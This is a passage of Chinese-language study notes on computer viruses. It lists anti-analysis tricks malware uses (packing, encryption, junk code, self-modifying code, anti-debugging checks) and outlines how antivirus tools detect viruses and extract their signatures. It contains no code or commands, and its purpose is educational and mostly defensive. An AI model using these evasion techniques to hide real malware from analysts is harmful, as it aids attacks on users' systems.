加壳、加密、花指令、SMC技术
2.反追踪分析技术
反调试技术,利用操作系统的异常处理机制,校验内存代码片段,其他反追踪技术如双进程保护、Trap Flag检测、防止调试器附加等方法进行反跟踪。
6.计算机病毒的处理
0x01 查杀软件查毒原理
特征码查毒:根据单纯的病毒特征码对文件或内存进行扫描匹配,匹配成功则报告相应特征码对应的病毒类型名。然后调用相应的杀毒方法进行清除病毒或删除病毒。
启发式查毒:通过分析指令出现的顺序,或特定组合情况等常见病毒的标准特征来决定文件是否感染未知病毒。
基于虚拟机技术的行为判定≥
0x02 计算机病毒特征的提取
- 通过编译其特性定位特征值的提取位置
- 通过特殊字符串定位特征值的提取位置
0x03感染性病毒的处理
需要去根。